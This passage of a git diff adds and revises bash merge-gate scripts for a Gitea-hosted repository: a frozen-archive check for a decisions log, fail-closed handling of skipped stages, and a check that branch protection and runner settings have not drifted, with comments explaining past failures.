+    err "CLUSTER_AVAILABLE=true, but the L2/L3 suite SKIPPED every one of its ${total} tests"
+    err "  (scaffold mode -- run.sh could not reach a cluster and exited 0)."
+    err "  This stage will NOT report that as a pass. Either the cluster is unreachable from"
+    err "  this runner, or CLUSTER_AVAILABLE is set when it should not be."
+    err "  NOTE: the in-cluster trigger path is still UNIMPLEMENTED -- see"
+    err "  docs/plans/l2-l3-conformance-ci-wiring.md. Setting CLUSTER_AVAILABLE=true does not"
+    err "  by itself make L2/L3 run; it only makes this stage attempt a LOCAL run that the CI"
+    err "  runner has no credential for (automountServiceAccountToken: false, by design)."
+    summary "- conformance-l2-l3: **BLOCKED — declared available but every test skipped** (not a pass)"
+    exit 1
+  fi
+  log "L2/L3 executed: ${total} testcase(s), ${skipped} skipped"
+fi
+
 ok "L2/L3 conformance passed for touched subset"
 summary "- conformance-l2-l3: **passed**"

ci/decisions-log.sh

@@ -0,0 +1,195 @@
+#!/usr/bin/env bash
+# ci/decisions-log.sh — the handoff log is a DIRECTORY, and the old single file is frozen.
+#
+# WHY THIS STAGE EXISTS
+# ---------------------
+# CLAUDE.md §7 tells every agent to record a handoff before finishing. Until 2026-09-29 that
+# meant appending to the tail of one 5,228-line file, DECISIONS-LOG.md. Every branch appended
+# to the SAME last hunk, so git could not auto-merge any two of them. Measured that day against
+# the live Gitea: four of the five open PRs were `mergeable: false`, and `git merge-tree`
+# against `main` named DECISIONS-LOG.md as the ONLY conflicting path in all four:
+#
+#   #22 fix/crafty-oauth2-proxy-signin       CONFLICT (content): DECISIONS-LOG.md
+#   #20 feat/conformance-job-template        CONFLICT (content): DECISIONS-LOG.md
+#   #19 feat/conformance-trigger-kubeconfig  CONFLICT (content): DECISIONS-LOG.md
+#   #18 feat/conformance-runner-image        CONFLICT (content): DECISIONS-LOG.md
+#   #17 feat/ci-is-the-approver              clean — it wrote no handoff entry
+#
+# Nothing was wrong with any of those changes. The log's storage format serialised work that
+# was otherwise parallel, and the cost grew with every concurrent branch (N branches -> N-1
+# rebases, each invalidating the gate run before it).
+#
+# The fix is that handoffs now live one-per-file under decisions/, so concurrent branches touch
+# disjoint paths and there is nothing to merge. See decisions/README.md.
+#
+# WHY IT NEEDS A CHECK AND NOT JUST A DOCUMENT
+# --------------------------------------------
+# The old habit is written into this repo in many places — the runbooks, the muscle memory of
+# every agent that has read the log, and (until this change) CLAUDE.md itself. An agent that
+# appends to DECISIONS-LOG.md anyway does not fail: it produces a perfectly good-looking commit
+# that quietly re-creates the conflict for every other open branch, and the damage is only
+# visible later, to somebody else, in a PR that is not theirs. That is the exact shape this
+# repo keeps getting burned by — a silent regression with a delayed, misattributed symptom — so
+# it gets a guard rather than a paragraph.
+#
+# WHAT IS ASSERTED
+#   (1) DECISIONS-LOG.md is byte-identical to the SHA-256 pinned in decisions/ARCHIVE.sha256.
+#       Re-pinning is a deliberate, reviewable line in a diff; appending is not.
+#   (2) Every decisions/ entry is named YYYY-MM-DD-<slug>.md with a real calendar date, so the
+#       directory sorts chronologically and two agents cannot collide on a filename.
+#   (3) Every entry carries frontmatter (date, branch, title) whose `date` agrees with its
+#       filename — a disagreement means a copied template nobody edited.
+#   (4) Every entry has all three of CLAUDE.md §7's sections with a real body under each:
+#       "What changed", "What I verified", "What I did NOT verify". This is the quality floor
+#       that stops an entry degrading into "done ✅". The third heading is the load-bearing one:
+#       this repo's recurring failure is a confident report of something nobody measured, and an
+#       entry with nowhere to write "UNVERIFIED" does not get one written.
+#
+# EXIT CODES (ci/README.md contract): 0 pass, 1 BLOCKS the merge. This stage has NO skip path —
+# it reads only files that are in the tree it is run against, needs no tool beyond coreutils and
+# no cluster, so there is no environment in which it "could not run". Adding an rc 3 here would
+# add a fail-open surface to a guard whose whole job is to close one.
+set -uo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+# shellcheck disable=SC1091
+source "${CI_DIR}/lib.sh"
+set +e   # aggregate every problem in one run; do not stop at the first.
+
+cd "$REPO_ROOT"
+
+ARCHIVE="DECISIONS-LOG.md"
+PIN="decisions/ARCHIVE.sha256"
+rc=0
+
+# ---- (1) the archive is frozen ----------------------------------------------
+log "Stage: decisions log (archive frozen + entries well-formed)"
+
+if [ ! -f "$ARCHIVE" ]; then
+  err "${ARCHIVE} is missing. It is the frozen pre-2026-09-29 history and must stay in the tree."
+  summary "- decisions-log: **FAILED** (\`${ARCHIVE}\` missing)"
+  rc=1
+elif [ ! -f "$PIN" ]; then
+  err "${PIN} is missing, so the archive's integrity cannot be established."
+  err "  If you are re-pinning deliberately: sha256sum ${ARCHIVE} > ${PIN}"
+  summary "- decisions-log: **FAILED** (\`${PIN}\` missing — archive unverifiable)"
+  rc=1
+else
+  want="$(awk 'NR==1{print $1}' "$PIN")"
+  got="$(sha256sum "$ARCHIVE" | awk '{print $1}')"
+  if [ "$want" != "$got" ]; then
+    err "${ARCHIVE} HAS CHANGED. It is a FROZEN ARCHIVE — do not append to it."
+    err "    pinned:  ${want}"
+    err "    on disk: ${got}"
+    err ""
+    err "  Every branch that appends to this file's tail conflicts with every other branch that"
+    err "  does, on the same hunk. That is what made four of five open PRs unmergeable on"
+    err "  2026-09-29, and your commit would re-create it for branches that are not yours."
+    err ""
+    err "  Write your handoff as its OWN FILE instead:"
+    err "    decisions/\$(date +%F)-<your-branch-slug>.md      (see decisions/README.md)"
+    err "  and restore the archive:  git checkout -- ${ARCHIVE}"
+    err ""
+    err "  If the archive genuinely must change (redacting a leaked credential, say), that is a"
+    err "  reviewed act: re-pin it with 'sha256sum ${ARCHIVE} > ${PIN}' and say why in your entry."
+    summary "- decisions-log: **FAILED — the frozen archive \`${ARCHIVE}\` was modified** (append to \`decisions/\` instead)"
+    rc=1
+  else
+    ok "${ARCHIVE}: unchanged (sha256 matches ${PIN})"
+  fi
+fi
+
+# ---- (2)(3)(4) every entry is well-formed ------------------------------------
+shopt -s nullglob
+entries=( decisions/[0-9]*.md )
+shopt -u nullglob
+
+# Zero entries is legitimate only until the first handoff lands; after that the glob always
+# matches. It is never an error here — a branch that changes no behaviour owes no handoff, and
+# CLAUDE.md, not this stage, is what asks for one.
+if [ "${#entries[@]}" -eq 0 ]; then
+  log "no decisions/ entries yet"
+fi
+
+REQUIRED_SECTIONS=("What changed" "What I verified" "What I did NOT verify")
+
+for f in "${entries[@]}"; do
+  base="${f#decisions/}"
+
+  # (2) filename
+  if [[ ! "$base" =~ ^([0-9]{4}-[0-9]{2}-[0-9]{2})-([a-z0-9][a-z0-9-]*)\.md$ ]]; then
+    err "${f}: name must be decisions/YYYY-MM-DD-<slug>.md with a lowercase [a-z0-9-] slug."
+    err "  Use your branch's last segment as the slug — it is already unique per unit of work."
+    summary "- decisions-log: **FAILED** (\`${f}\` misnamed)"
+    rc=1
+    continue
+  fi
+  fname_date="${BASH_REMATCH[1]}"
+
+  if ! date -d "$fname_date" +%F >/dev/null 2>&1 || [ "$(date -d "$fname_date" +%F)" != "$fname_date" ]; then
+    err "${f}: '${fname_date}' is not a real calendar date."
+    summary "- decisions-log: **FAILED** (\`${f}\` — impossible date)"
+    rc=1
+    continue
+  fi
+
+  # (3) frontmatter
+  if [ "$(head -1 "$f")" != "---" ]; then
+    err "${f}: must open with a '---' YAML frontmatter block (date, branch, title)."
+    err "  See decisions/README.md for the template."
+    summary "- decisions-log: **FAILED** (\`${f}\` — no frontmatter)"
+    rc=1
+    continue
+  fi
+  fm="$(awk 'NR==1&&$0=="---"{inb=1;next} inb&&$0=="---"{exit} inb{print}' "$f")"
+  missing_keys=()
+  for k in date branch title; do
+    grep -qE "^${k}:[[:space:]]*\S" <<<"$fm" || missing_keys+=("$k")
+  done
+  if [ "${#missing_keys[@]}" -gt 0 ]; then
+    err "${f}: frontmatter is missing a non-empty ${missing_keys[*]}."
+    summary "- decisions-log: **FAILED** (\`${f}\` — frontmatter missing \`${missing_keys[*]}\`)"
+    rc=1
+    continue
+  fi
+  fm_date="$(grep -m1 -E '^date:' <<<"$fm" | sed -E 's/^date:[[:space:]]*//; s/[[:space:]"'\'']//g')"
+  if [ "$fm_date" != "$fname_date" ]; then
+    err "${f}: frontmatter date '${fm_date}' disagrees with the filename's '${fname_date}'."
+    err "  One of them was copied from a template and not edited; the log's ordering depends on both."
+    summary "- decisions-log: **FAILED** (\`${f}\` — date disagrees with filename)"
+    rc=1
+    continue
+  fi
+
+  # (4) the three required sections, each with a real body
+  body_start="$(awk 'NR>1 && $0=="---" {print NR; exit}' "$f")"
+  [ -n "$body_start" ] || body_start=1
+  for want_sec in "${REQUIRED_SECTIONS[@]}"; do
+    hdr_line="$(awk -v s="$body_start" -v w="## ${want_sec}" 'NR>s && $0==w {print NR; exit}' "$f")"
+    if [ -z "$hdr_line" ]; then
+      err "${f}: missing the required section '## ${want_sec}'."
+      err "  CLAUDE.md §7 asks for what you changed, what you verified, and what you did NOT."
+      err "  All three are structure here, because the third is the one that gets dropped."
+      summary "- decisions-log: **FAILED** (\`${f}\` — missing \`## ${want_sec}\`)"
+      rc=1
+      continue
+    fi
+    # A real body: at least 20 non-blank, non-heading characters before the next '## '.
+    nchars="$(awk -v s="$hdr_line" 'NR>s { if ($0 ~ /^## /) exit; print }' "$f" \
+             | tr -d '[:space:]' | wc -c)"
+    if [ "$nchars" -lt 20 ]; then
+      err "${f}: section '## ${want_sec}' is empty or a stub (${nchars} chars of content)."
+      err "  If nothing was verified, WRITE THAT — 'nothing was verified; the gate was not run'"
+      err "  is a valid and useful entry. A blank section is not."
+      summary "- decisions-log: **FAILED** (\`${f}\` — \`## ${want_sec}\` is a stub)"
+      rc=1
+    fi
+  done
+done
+
+if [ "$rc" -eq 0 ]; then
+  ok "decisions log: archive frozen, ${#entries[@]} entr$([ "${#entries[@]}" -eq 1 ] && echo y || echo ies) well-formed"
+  summary "- decisions-log: **passed** (archive frozen; ${#entries[@]} entries well-formed)"
+else
+  err "decisions log stage FAILED"
+fi
+exit "$rc"

ci/gate.sh

@@ -7,6 +7,75 @@
 #   skip (3)  not run (cluster-gated stage w/ no cluster, or unwired seam) —
 #             NOT counted as green (HARD RULE 4: don't fake green)
 #
+# ...AND THREE OUTCOMES FOR THE GATE ITSELF (2026-09-13). Until today a stage that
+# SKIPPED only printed a warning ("— not green") and the gate then printed
+# `MERGE GATE: PASS` and exited 0 anyway. That is fail-open in the one component whose
+# entire job is to fail closed: a pinned tool missing from the runner, or a seam silently
+# becoming unwired, produced exit 0 and read as merge-approved. Observed live:
+# `prom-rules: skipped (missing tool) — not green` followed by `MERGE GATE: PASS`, and
+# `l0: skipped (kyverno CLI not installed)` likewise. The gate's own vocabulary already
+# had the answer — the 2026-08-31 "local false green" introduced UNDECIDED for exactly
+# this shape of non-answer — the offline stages just did not use it.
+#
+#   MERGE GATE: PASS           exit 0   every stage that was SUPPOSED TO RUN ran and was
+#                                       green, and the R-TEST-03 subset was checked.
+#   MERGE GATE: BLOCKED        exit 1   a stage FAILED, or a stage did not run WHERE IT
+#                                       MUST (see the per-stage rules below), or the
+#                                       decision input is unusable.
+#   MERGE GATE: UNDETERMINED   exit 3   nothing failed, but a stage did not run, so
+#                                       greenness was NOT ESTABLISHED. Never a pass;
+#                                       non-zero so no automation can read it as approval.
+#                                       `3` is this repo's existing "not run / not
+#                                       established" code (ci/lib.sh), now spoken by the
+#                                       gate as a whole and not only by its stages.
+#   MERGE GATE: NOT APPLICABLE exit 0   there is no branch under gate at all (HEAD is on
+#                                       base) — a push-to-main CI run. Stages were green;
+#                                       no subset was checked, and the headline says so.
+#
+# NOTE ON `make`: GNU make reports ANY recipe failure as its own exit 2, so
+# `make -C ci gate` collapses 1 and 3 into 2 — a human sees the headline and that is enough.
+# A caller that must tell BLOCKED from UNDETERMINED invokes ./ci/gate.sh directly; to tolerate
+# an UNDETERMINED run it writes `./ci/gate.sh || [ $? -eq 3 ]`, the same explicit idiom
+# .gitea/workflows/gate.yml already used for its spec-immutability pre-step and now uses for
+# the gate itself (with GATE_STRICT_SKIPS=true, so that tolerance can ONLY ever cover the
+# declared-environmental skip below — a missing tool on the runner is exit 1, untolerated).
+# TOLERATING A NON-ANSWER IS A VISIBLE, REVIEWED CHOICE IN THE CALLER. There is deliberately no
+# knob inside this script that turns UNDETERMINED into exit 0: that would be the fail-open this
+# change exists to remove, just relocated.
+#
+# WHICH SKIPS BLOCK, AND WHY (per stage — a skip is not one thing):
+#
+#   lint / l0 / render-golden / l1   A skip here means a PINNED tool is absent or a wired
+#     seam went unwired. On a CI runner the pinned toolchain is installed for us by
+#     .gitea/workflows/scripts/install-tools.sh, so a skip there is a DEFECT, not an
+#     environment: it BLOCKS. On a workstation a missing tool is a real local condition, so
+#     it degrades to UNDETERMINED (still non-zero, still never a pass). See strict_skips()
+#     in ci/lib.sh for how CI is detected and why misdetecting it cannot fail open.
+#
+#   spec-immutability (R-TEST-06)    A skip means the sibling spec repo is not checked out, so
+#     the spec COULD NOT BE VERIFIED. Never a pass — unverified is unverified — so it denies a
+#     PASS and yields UNDETERMINED. It is deliberately NOT upgraded to BLOCKED by CI strictness,
+#     because on the live runner it is not a defect anyone can fix from inside this repo: the
+#     workflow does not check the spec repo out at all (SPEC_REPO_SLUG is unwired — the blueprint
+#     lives in merge-gate.yaml), and blocking would leave the only enforced status check
+#     permanently red for a reason no PR could clear. So THIS is the one skip whose non-answer the
+#     CALLER may knowingly tolerate, and gate.yml does so in one visible line. Locally the
+#     remedy exists and the message names it: check the spec repo out beside this one, or point
+#     SPEC_REPO at it (infra/devcontainer/dev.sh mounts it automatically when it is a sibling).
+#     Set REQUIRE_SPEC_VERIFICATION=true (the counterpart of REQUIRE_CLUSTER_TESTS) to make it a
+#     hard block once that checkout is wired.
+#
+#   conformance (L2/L3)              A skip when CLUSTER_AVAILABLE!=true is NOT a defect and
+#     NOT an accident: it is the environment DECLARING that the capability is absent, which
+#     is the documented Phase-0 behaviour. A declared-inapplicable stage was never "supposed
+#     to run", so it does not deny a PASS — the touched requirements it would have covered
+#     are still reported UNVERIFIED, and REQUIRE_CLUSTER_TESTS=true (Phase 1+) turns that
+#     into a block. A skip DESPITE CLUSTER_AVAILABLE=true is a defect and blocks, exactly as
+#     it already did. That asymmetry is the whole distinction this file now draws:
+#     DECLARED-not-applicable may pass; COULD-NOT-RUN may not. A declared gap is still NAMED in
+#     the PASS headline (see DECLARED_GAPS below), so a PASS never reads as "everything was
+#     verified" when a layer was declared out of scope.
+#
 # Phase 0 policy (no cluster): L0/L1 stages (lint, schema, kyverno, L1 render)
 # MUST be green. L2/L3 SKIP. If the touched subset needs L2/L3 and no cluster is
 # available, the gate reports those requirements UNVERIFIED and — unless
@@ -20,6 +89,7 @@ source "${CI_DIR}/lib.sh"
 set +e   # lib.sh enables -e; the gate must run ALL stages and aggregate, not abort.
 
 : "${REQUIRE_CLUSTER_TESTS:=false}"
+: "${REQUIRE_SPEC_VERIFICATION:=false}"
 
 declare -A OUTCOME
 run_stage() {
@@ -38,15 +108,25 @@ summary "## Merge gate (R-TEST-03)"
 summary ""
 
 run_stage spec-immutability "${CI_DIR}/spec-immutability.sh"
+run_stage decisions-log "${CI_DIR}/decisions-log.sh"
 run_stage lint          "${CI_DIR}/lint.sh"
 run_stage l0            "${CI_DIR}/l0.sh"
 run_stage render-golden "${CI_DIR}/render-golden.sh"
 run_stage l1            "${CI_DIR}/l1.sh"
+run_stage approval-policy "${CI_DIR}/approval-policy.sh"
+run_stage gitea-settings "${CI_DIR}/gitea-settings.sh"
 run_stage conformance   "${CI_DIR}/conformance.sh"
 
 echo >&2
 log "==== gate decision ===="
 BLOCK=0
+# Stages that did NOT run and are tolerated here — but never as green. A non-empty list
+# means the gate could not establish greenness -> MERGE GATE: UNDETERMINED, exit 3.
+NOT_ESTABLISHED=()
+# Stages the environment DECLARED inapplicable (today: L2/L3 with no cluster declared). These
+# do not deny a PASS — nothing was supposed to run — but they are named IN the PASS headline, so
+# "PASS" is never mistaken for "everything was verified".
+DECLARED_GAPS=()
 
 # --- R-TEST-03 input: the touched-requirement subset --------------------------
 # Computed ONCE here. ci/touched-requirements.sh exits 3 when it cannot establish a
@@ -64,37 +144,135 @@ rm -f "$_reason_file"
 TOUCHED=()
 [ -n "$TOUCHED_OUT" ] && mapfile -t TOUCHED <<< "$TOUCHED_OUT"
 UNDECIDED=0
+SUBSET_BROKEN=0
 if [ "$TOUCHED_RC" -eq 3 ]; then
   UNDECIDED=1
   echo >&2
   err "R-TEST-03 DECISION INPUT MISSING: the touched-requirement subset could not be"
   err "  determined (${TOUCHED_REASON:-unknown}). The scoped coverage gate did NOT run."
   summary "- **R-TEST-03 subset UNDETERMINED** (\`${TOUCHED_REASON:-unknown}\`) — the scoped coverage gate did not run."
+elif [ "$TOUCHED_RC" -ne 0 ]; then
+  # Any OTHER non-zero exit is a hard defect in the subset computation itself — an
+  # incomplete path->requirement map (a changed path matches no row) or an invalid row
+  # would report exactly this. The reasoning is taken from the unlanded
+  # fix/touched-requirements-fail-closed (47068ee): gate.sh special-cased ONLY exit 3, so
+  # any other non-zero exit left TOUCHED empty and UNDECIDED=0, and the decision below
+  # printed "MERGE GATE: PASS" having applied no coverage gate at all. Unreachable on
+  # `main` today (touched-requirements.sh exits only 0 or 3) and wired here so it is
+  # already closed the moment a fail-closed path map makes exit 1 reachable. A subset that
+  # cannot be computed is NOT an empty subset.
+  SUBSET_BROKEN=1
+  echo >&2
+  err "R-TEST-03 DECISION INPUT BROKEN: touched-requirements.sh exited ${TOUCHED_RC}"
+  err "  (${TOUCHED_REASON:-unknown}). Its output above names the paths/rows to fix."
+  summary "- **R-TEST-03 subset UNUSABLE** (\`${TOUCHED_REASON:-unknown}\`, exit ${TOUCHED_RC}) — the coverage gate could not be applied."
 elif [ "${#TOUCHED[@]}" -gt 0 ]; then
   log "touched requirements: ${TOUCHED[*]}"
 fi
 
 # spec-immutability (R-TEST-06): a FAIL always blocks (the spec was modified/drifted).
-# A skip means the spec repo wasn't available to verify — surfaced, not green.
+# A skip means the spec repo wasn't available to verify — UNVERIFIED, never green: it
+# denies a PASS (exit 3) and, with REQUIRE_SPEC_VERIFICATION=true, blocks outright. See the
+# file header for why this one is not upgraded to a block by CI detection alone.
 case "${OUTCOME[spec-immutability]}" in
   fail) err  "spec-immutability: FAILED -> blocks merge (R-TEST-06)"; BLOCK=1 ;;
-  skip) warn "spec-immutability: skipped (spec repo unavailable) — not verified" ;;
+  skip)
+    if truthy "$REQUIRE_SPEC_VERIFICATION"; then
+      err "spec-immutability: skipped (spec repo unavailable) and REQUIRE_SPEC_VERIFICATION=true -> blocks merge"
+      summary "- spec-immutability: **SKIPPED** (spec repo unavailable) — blocks merge (REQUIRE_SPEC_VERIFICATION=true)"
+      BLOCK=1
+    else
+      warn "spec-immutability: skipped (spec repo unavailable) — R-TEST-06 NOT VERIFIED, so"
+      warn "  this run cannot be a PASS. Check the spec repo out beside this one (or set"
+      warn "  SPEC_REPO) to verify it."
+      summary "- spec-immutability: **SKIPPED** (spec repo unavailable — R-TEST-06 not verified; not a pass)"
+      NOT_ESTABLISHED+=("spec-immutability")
+    fi ;;
   pass) ok   "spec-immutability: green" ;;
 esac
 
-# L0/L1 stages: any failure blocks. A SKIP here means a seam is unwired — in
-# Phase 0 that is tolerated (placeholders), but surfaced. render-golden is a
+# approval-policy: the branch requires NO human approvals (required_approvals: 0) -- the GATE
+# is the approver, per operator intent. This stage is the single exception: a change to the
+# pipeline itself, the admission policies, the Flux wiring, the SOPS recipients or the RBAC
+# cannot honestly be approved BY the thing it changes, so those paths still need a human.
+#
+# It never SKIPS -- it exits 0 or 1 only, and blocks when it cannot evaluate. That is the
+# opposite of gitea-settings' tolerance and it is deliberate: there, a missing credential is a
+# lock-out; here, a missing credential would let an unreviewed change to the gate merge.
+case "${OUTCOME[approval-policy]}" in
+  fail) err "approval-policy: a sensitive change lacks a non-author approval -> blocks merge"; BLOCK=1 ;;
+  skip) err "approval-policy: did not run -- it is fail-closed by design, so treat as a block"; BLOCK=1 ;;
+  pass) ok  "approval-policy: green" ;;
+esac
+
+# gitea-settings: the ONLY check that can see Gitea's own database (branch protection +
+# runner registration). A FAIL is real drift and always blocks -- that is the whole point.
+# A SKIP means no token or unreachable Gitea, which is an UNWIRED CREDENTIAL, not a defect
+# in the change under test. It is deliberately NOT in the strict-skips loop below: making an
+# absent secret block every PR is precisely the lock-yourself-out failure this repo keeps
+# walking into (a required check with nothing able to satisfy it). So a skip denies a PASS
+# (exit 3) and says loudly what is unverified. Set REQUIRE_GITEA_SETTINGS=true once the
+# token is wired, and the skip becomes a block as it should.
+case "${OUTCOME[gitea-settings]}" in
+  fail) err "gitea-settings: Gitea DRIFTED from infra/gitea/expected-branch-protection.json -> blocks merge"; BLOCK=1 ;;
+  skip)
+    if truthy "${REQUIRE_GITEA_SETTINGS:-false}"; then
+      err "gitea-settings: skipped and REQUIRE_GITEA_SETTINGS=true -> blocks merge"
+      summary "- gitea-settings: **SKIPPED** (no token) — blocks merge (REQUIRE_GITEA_SETTINGS=true)"
+      BLOCK=1
+    else
+      warn "gitea-settings: skipped (no GITEA_SETTINGS_TOKEN) — branch protection and runner"
+      warn "  registration are UNVERIFIED. Both were silently wrong for a month. Wire the token"
+      warn "  (infra/gitea/set-ci-token.sh), then set REQUIRE_GITEA_SETTINGS=true."
+      summary "- gitea-settings: **SKIPPED** (no token — protection/runners unverified; not a pass)"
+      NOT_ESTABLISHED+=("gitea-settings")
+    fi ;;
+  pass) ok "gitea-settings: green" ;;
+esac
+
+# decisions-log: the handoff log's storage format. A FAIL means either the frozen archive
+# DECISIONS-LOG.md was modified — which re-creates, for every OTHER open branch, the tail-hunk
+# conflict that made four of five PRs unmergeable on 2026-09-29 — or a decisions/ entry is
+# malformed. Always blocks, and has no skip path by construction: the stage reads only files in
+# the tree under test and needs no tool or cluster, so there is no environment in which it
+# "could not run". A guard against a silent, delayed, misattributed regression must not itself
+# have a way to not-run.
+case "${OUTCOME[decisions-log]}" in
+  fail) err "decisions-log: FAILED -> blocks merge (see decisions/README.md)"; BLOCK=1 ;;
+  skip) err "decisions-log: reported SKIPPED, which this stage has no path to produce -> treat"
+        err "  as a defect in the stage itself and block."
+        summary "- decisions-log: **SKIPPED** (impossible by construction) — blocks merge"
+        BLOCK=1 ;;
+  pass) ok  "decisions-log: green" ;;
+esac
+
+# L0/L1 stages: any failure blocks. A SKIP here means a pinned tool is missing or a seam is
+# unwired — NEVER green. In CI (strict) that is a defect and blocks; on a workstation it
+# degrades to UNDETERMINED, which is still non-zero and still not a pass. render-golden is a
 # no-cluster reproducibility gate (canonical render == committed apps/ goldens):
 # a FAIL means a golden drifted from its ServiceDefinition source — always blocks.
 for s in lint l0 render-golden l1; do
   case "${OUTCOME[$s]}" in
     fail) err  "${s}: FAILED -> blocks merge"; BLOCK=1 ;;
-    skip) warn "${s}: skipped (unwired seam / missing tool) — not green" ;;
+    skip)
+      if strict_skips; then
+        err "${s}: skipped (unwired seam / missing tool) under STRICT skips, where the pinned"
+        err "  toolchain is installed for us (.gitea/workflows/scripts/install-tools.sh) and every"
+        err "  seam is on main — so this is a DEFECT, not an environment -> blocks merge"
+        summary "- ${s}: **SKIPPED under strict skips** (unwired seam / missing tool) — blocks merge"
+        BLOCK=1
+      else
+        warn "${s}: skipped (unwired seam / missing tool) — not green, so this run cannot be a PASS"
+        summary "- ${s}: **SKIPPED** (unwired seam / missing tool) — not green"
+        NOT_ESTABLISHED+=("$s")
+      fi ;;
     pass) ok   "${s}: green" ;;
   esac
 done
 
-# L2/L3 conformance: cluster-gated.
+# L2/L3 conformance: cluster-gated. The ONLY stage whose non-execution can still be a PASS,
+# because CLUSTER_AVAILABLE!=true is the environment DECLARING the capability absent rather
+# than the stage failing to run where it could have — see the file header.
 case "${OUTCOME[conformance]}" in
   fail)
     err "conformance (L2/L3): FAILED -> blocks merge"; BLOCK=1 ;;
@@ -105,18 +283,22 @@ case "${OUTCOME[conformance]}" in
       err "conformance: skipped despite CLUSTER_AVAILABLE=true -> blocks merge"; BLOCK=1
     elif [ "$UNDECIDED" -eq 1 ]; then
       warn "conformance L2/L3 UNVERIFIED, and the touched subset is unknown — nothing certified."
+      DECLARED_GAPS+=("conformance-l2-l3(no cluster declared)")
     else
       if [ "${#TOUCHED[@]}" -gt 0 ]; then
         reqs=("${TOUCHED[@]}")
         warn "conformance L2/L3 UNVERIFIED for touched requirements: ${reqs[*]}"
         warn "  (no cluster — Phase 0). These are NOT certified green."
         summary "- **UNVERIFIED (no cluster):** ${reqs[*]}"
-        if [ "$REQUIRE_CLUSTER_TESTS" = "true" ]; then
+        if truthy "$REQUIRE_CLUSTER_TESTS"; then
           err "REQUIRE_CLUSTER_TESTS=true and cluster-needing requirements are unverified -> blocks merge"
           BLOCK=1
+        else
+          DECLARED_GAPS+=("conformance-l2-l3(no cluster declared; ${#TOUCHED[@]} touched reqs unverified)")
         fi
       else
         skip "conformance L2/L3 skipped; no cluster-needing requirements touched"
+        DECLARED_GAPS+=("conformance-l2-l3(no cluster declared)")
       fi
     fi ;;
 esac
@@ -132,13 +314,34 @@ if [ "$UNDECIDED" -eq 1 ] && [ "$TOUCHED_REASON" != "on-base" ]; then
   err "cannot compute the R-TEST-03 subset (${TOUCHED_REASON:-unknown}) -> blocks merge"
   BLOCK=1
 fi
+# An incomplete/invalid path map is not an environment problem to skip past: the change under
+# gate contains paths whose requirements are UNKNOWN, so no subset can be certified.
+if [ "$SUBSET_BROKEN" -eq 1 ]; then
+  err "R-TEST-03 subset unusable (${TOUCHED_REASON:-unknown}) -> blocks merge"
+  BLOCK=1
+fi
 
 echo >&2
+# Precedence: BLOCKED (something is wrong) > UNDETERMINED (a stage did not run, so
+# greenness was not established) > NOT APPLICABLE (nothing to gate) > PASS. UNDETERMINED
+# outranks NOT APPLICABLE because "no branch under gate" AND "a stage did not run" is two
+# reasons this is not a green run, and the stronger, non-zero one must be the headline.
 if [ "$BLOCK" -ne 0 ]; then
   err "MERGE GATE: BLOCKED"
   summary ""
   summary "**Result: BLOCKED** — see failures above."
   exit 1
+elif [ "${#NOT_ESTABLISHED[@]}" -gt 0 ]; then
+  err "MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED."
+  err "  Stages that did not run: ${NOT_ESTABLISHED[*]}"
+  err "  Nothing FAILED, and nothing is certified either: a stage that did not run is not"
+  err "  green (HARD RULE 4). This is exit 3, never 0 — no automation may read it as"
+  err "  merge-approved. Fix the environment (install the pinned tool / wire the seam /"
+  err "  check out the spec repo) and run again, or accept it KNOWINGLY and explicitly:"
+  err "    ./ci/gate.sh || [ \$? -eq 3 ]"
+  summary ""
+  summary "**Result: UNDETERMINED** — these stages did not run, so nothing is certified: \`${NOT_ESTABLISHED[*]}\`. Not a pass (exit 3)."
+  exit 3
 elif [ "$UNDECIDED" -eq 1 ]; then
   warn "MERGE GATE: NOT APPLICABLE — no branch under gate (${TOUCHED_REASON})."
   warn "  The stages above ran and did not fail, but NO touched-requirement subset was"
@@ -148,8 +351,16 @@ elif [ "$UNDECIDED" -eq 1 ]; then
   summary "**Result: NOT APPLICABLE** — no branch under gate (\`${TOUCHED_REASON}\`); the R-TEST-03 subset was not checked."
   exit 0
 else
-  ok "MERGE GATE: PASS (touched-requirement subset green for the layers that can run)"
-  summary ""
-  summary "**Result: PASS** — L0/L1 green. L2/L3 status per cluster availability above."
+  ok "MERGE GATE: PASS — every stage that was supposed to run RAN and was GREEN, and the"
+  ok "  R-TEST-03 touched-requirement subset was checked."
+  if [ "${#DECLARED_GAPS[@]}" -gt 0 ]; then
+    ok "  NOT verified here, because the environment DECLARED it out of scope (never a silent"
+    ok "  gap — Phase 0 by policy, see the header): ${DECLARED_GAPS[*]}"
+    summary ""
+    summary "**Result: PASS** — every stage that was supposed to run ran green. Declared out of scope (NOT verified): \`${DECLARED_GAPS[*]}\`."
+  else
+    summary ""
+    summary "**Result: PASS** — every stage that was supposed to run ran green; nothing was declared out of scope."
+  fi
   exit 0
 fi

ci/gitea-settings.sh

@@ -0,0 +1,133 @@
+#!/usr/bin/env bash
+# ci/gitea-settings.sh — Stage: the Gitea platform settings that gate this repo still
+# match what git declares.
+#
+# WHY THIS STAGE EXISTS AT ALL
+# ----------------------------
+# Every other check in this repo reads the repository, the rendered manifests, or the
+# cluster. NONE of them can see Gitea's own database — and that is where branch
+# protection and runner registration live. On 2026-09-29 that blind spot was measured:
+#
+#   * `main` had NO branch protection, and
+#   * ZERO Actions runners were registered,
+#
+# for roughly a month, while DECISIONS-LOG.md recorded both as working and every agent
+# and human in the loop repeated that claim because the repository said so. PR #1 — the
+# first pull request this repo ever had — sat `pending` for 30.6 minutes with nothing to
+# execute it. Later the same day `enable_status_check` and `required_approvals` were turned
+# on and STILL did not bite, because `block_admin_merge_override` was false; PRs #5-#9
+# merged with zero approvals recorded against `required_approvals: 1`.
+#
+# Three separate failures, one shape: a setting that READ as enforced while not being, with
+# no mechanism anywhere that could notice. Scripts that ASSERT the desired state
+# (infra/gitea/*.sh) do not detect drift from it. This stage is the detector.
+#
+# WHAT IT ASSERTS
+#   1. every key in infra/gitea/expected-branch-protection.json `.protection` matches the
+#      LIVE rule at /repos/{repo}/branch_protections/{branch}, exactly;
+#   2. at least `.runners_online_min` Actions runners report status "online".
+#
+# (2) is not decoration. A required status check with no runner is the deadlock this repo
+# nearly walked into: every PR pends forever, including the one that would fix it.
+#
+# READ THE RULE OBJECT, NOT THE BRANCH VIEW. /repos/{repo}/branches/{branch} reports
+# `protected`, `enable_status_check` and `required_approvals` but NOT
+# `block_admin_merge_override` — it showed all-green while the rule was overridable by the
+# only account that merges. This stage queries /branch_protections/ deliberately.
+#
